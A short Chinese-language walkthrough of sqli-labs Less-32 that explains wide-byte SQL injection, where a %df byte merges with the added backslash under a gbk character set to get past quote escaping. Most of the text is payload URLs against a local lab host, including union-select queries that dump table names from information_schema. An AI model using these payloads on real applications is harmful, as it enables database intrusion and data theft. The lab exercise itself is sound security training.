轉義函數，針對以下字符，這樣就無法閉合引號，導致無法註入

‘　　-->　　\‘

"　　-->　　\"

\　　-->　　\\

但是，當MySQL的客戶端字符集為gbk時，就可能發生寬字節註入，參照 http://netsecurity.51cto.com/art/201404/435074.htm

%df‘　　-->　　%df\‘　　%df%5c‘

這樣引號就被閉合了，至於%df%5c就成了漢字 運

成功閉合

http://192.168.136.128/sqli-labs-master/Less-32/?id=1%df‘

http://192.168.136.128/sqli-labs-master/Less-32/?id=0%df‘ union select 1,2,3%23
 

表名

http://192.168.136.128/sqli-labs-master/Less-32/?id=0%df‘ union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1%23

【sqli-labs】 less32 GET- Bypass custom filter adding slashes to dangrous chars (GET型轉義了'/"字符的寬字節註入)